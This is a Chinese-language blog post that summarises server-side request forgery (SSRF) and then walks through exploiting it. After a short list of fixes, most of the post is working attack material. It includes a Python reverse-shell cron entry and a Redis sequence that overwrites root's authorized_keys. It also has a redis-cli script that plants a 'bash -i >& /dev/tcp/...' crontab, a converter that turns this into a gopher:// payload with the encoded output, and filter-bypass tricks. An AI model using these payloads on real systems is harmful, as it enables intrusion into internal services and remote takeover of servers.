• SSRF总结


    ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。
    ssrf漏洞的危害可以通过ssrf漏洞可以对内网或本地机器进行主机发现,服务版本探测或者针对内网或本地一些薄弱的应用进行攻击,同时利用ssrf漏洞还可以时服务器主动发起请求,从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip
    file_get_contents(),fsockopen(),curl_exec()三个函数使用不当时将会造成ssrf
    大部分 PHP 并不会开启 fopen 的 gopher wrapper
    file_get_contents 的 gopher 协议不能 URLencode
    file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
    curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
    curl_exec() //默认不跟踪跳转,
    file_get_contents() // file_get_contents支持php://input协议

    修复方法:

    修复方案:
    
    • 限制协议为HTTP、HTTPS
    
    • 禁止30x跳转
    
    • 设置URL白名单或者限制内网IP

    反弹shell定时任务:

    */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    针对centos和ubuntu写定时任务的方法可能不同,具体见文章:

    https://joychou.org/web/hackredis-enhanced-edition-script.html

    通过SSRF还可以攻击redis和mysql

    一般来说通过ssrf可以首先收集内网信息,比如存活的ip,以及对存活ip进行端口服务探测,可以使用dict://协议,

    curl -vvv 'dict://127.0.0.1:6379/info'

    1.SSRF+内网redis(通常为3679端口):

    如果存在/root/.ssh目录,直接root权限写/root/.ssh/authorized_keys
    如果不存在/root/.ssh目录,直接root写crontab定时任务

    1.1存在/root/.ssh目录(写入公钥,直接ssh登录)

    ssh-keygen -t rsa
    (echo -e "
    
    "; cat ~/.ssh/id_rsa.pub; echo -e "
    
    ") > /tmp/foo.txt
    cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
    redis-cli -h 192.168.1.100 -p 6379
    192.168.1.100:6379> config set dir /root/.ssh/
    config get dir
    config set dbfilename "authorized_keys"
    save
    quit

     1.2不存在/root/.ssh目录则写crontab(ssrf+redis未授权访问+gopher)

    可进行利用的cron有如下几个地方:
    /etc/crontab 这个是肯定的
    /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
    /var/spool/cron/root centos系统下root用户的cron文件
    /var/spool/cron/crontabs/root debian系统下root用户的cron文件

    这里记录一下如何将命令行下的指令转换为gopher协议的数据格式,方便ssrf使用,利用socat进行端口数据转发,原理:

     经过4444端口转发的数据包将被送到6379端口,即相当于一个中间人端口

    若写入crontab的sheel脚本如下:

    echo -e "
    
    * * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1
    
    " | redis-cli -h $1 -p $2 -x set aaa
    redis-cli -h $1 -p $2 config set dir /etc/
    redis-cli -h $1 -p $2 config set dbfilename crontab
    redis-cli -h $1 -p $2 save
    redis-cli -h $1 -p $2 quit

    其中-x参数是接收标准输入也就是通过|管道的输出,即echo的这一条crontab指令

    然后执行:

    socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
    ./rediscron.sh 127.0.0.1 4444

     就会接收到:

    此时只需要将其转换为gopher格式的数据:

    根据转换规则:

    如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
    如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
    将
    字符串替换成%0d%0a
    空白行替换为%0a

       0d------回车符号------"/r"

       0a------换行符号------"/n" 

       Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
       UNIX 只使用 LF(0a)

    转换脚本如下:

    #coding: utf-8
    import sys
    exp = ''
    with open("payload.txt") as f:
        for line in f.readlines():
            if line[0] in '><+':
                continue
            # 判断倒数第2、3字符串是否为
    
            elif line[-3:-1] == r'
    ':
                #如果该行只有
    ,将
    替换成%0a%0d%0a
                if len(line) == 3:
                    exp = exp + '%0a%0d%0a'
                else:
                    line = line.replace(r'
    ', '%0d%0a')
                    # 去掉最后的换行符
                    line = line.replace('
    ', '')
                    exp = exp + line
            # 判断是否是空行,空行替换为%0a
            elif line == 'x0a':
                exp = exp + '%0a'
            else:
                line = line.replace('
    ', '')
                exp = exp + line
    print exp

    输出为:

    *3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$57%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$5%0d%0a/etc/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$7%0d%0acrontab%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

    此时已经生成了gopher的数据,然后直接拼接:

    gopher://ip:6379/_+payload   注意要加_

    然后就会在监听端就会收到返回的shell。

    2.gopher+mysql(未授权访问)

    首先肯定要知道mysql的登陆账号,密码为空

    通过gopher打mysql的话,直接将含有sql语句的数据包的16进制编码为gopher协议格式,见以下链接:

    https://xz.aliyun.com/t/4420#toc-3,或者直接使用gopherus工具,真的是太方便了

    绕过技巧:

    @ (curl和parse_url解析host不同,curl(lib_url)取第一个@符号后的,parse_url取最后一个@符号后的)
    添加端口号
    短网址绕过(通过添加短网址,让其还是指向内网ip)
    指向任意IP的域名http://xip.io
    http://10.0.0.1.xip.io resolves to 10.0.0.1
    www.10.0.0.1.xip.io resolves to 10.0.0.1
    http://mysite.10.0.0.1.xip.io resolves to 10.0.0.1
    foo.http://bar.10.0.0.1.xip.io resolves to 10.0.0.1
    如果读取文件时如果限制必须为某个host,则file://localhost/etc/passwd也可以读取
    IP限制绕过 十进制转换 八进制转换 十六进制转换 不同进制组合转换 协议限制绕过 当url协议限定只为http(s)时,可以利用follow redirect 特性 <?php header("Location:gopher://127.0.0.1:6379/_");?> 构造302跳转服务, 结合dict:// file:// gopher://

    ssrf+mysql https://hack4.fun/2019/01/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E5%88%9D%E6%8E%A2ssrf+gopher%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91mysql/

    ssrf+绕过ip限制:https://www.freebuf.com/articles/web/135342.html

  • 相关阅读:
    要使用springtest来进行单元测试 否则将无法注入 applicationContext.xml
    关键词的重要性
    发卡可以以交叉方式佩戴来增强可爱性
    红毛类型
    oracle学习总结4
    对springMVC的简单理解
    理解RESTful架构
    项目移植过程中报:“Project facet Java version 1.7 is not supported.” 错误
    svn服务器的搭建
    oracle学习总结3
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11065224.html
Copyright © 2020-2023  润新知